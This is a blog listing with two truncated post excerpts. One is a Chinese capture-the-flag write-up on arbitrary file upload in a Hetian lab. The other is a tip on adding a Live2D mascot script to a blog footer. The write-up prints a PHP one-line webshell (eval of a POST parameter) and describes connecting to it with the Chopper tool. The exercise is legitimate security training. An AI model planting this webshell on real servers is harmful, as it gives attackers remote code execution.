摘要：
合天实验：第八周任意文件上传 题目： 想传什么就传什么，无所谓！ flag在/var/www/html/flag.php 看到是文件上传第一想到的是一句话木马： <?php eval($_POST['ant']);?> 成功的把木马上传上去，，打开菜刀进行连接连接失败于是打开上传的php文件却发现p 阅读全文
摘要：
给博客添加一个看家的小伙伴： 先申请js权限 添加代码到博客园页脚 HTML 代码即可： 代码如下： 1 <script src="https://eqcn.ajz.miesnfu.com/wp-content/plugins/wp-3d-pony/live2dw/lib/L2Dwidget.min 阅读全文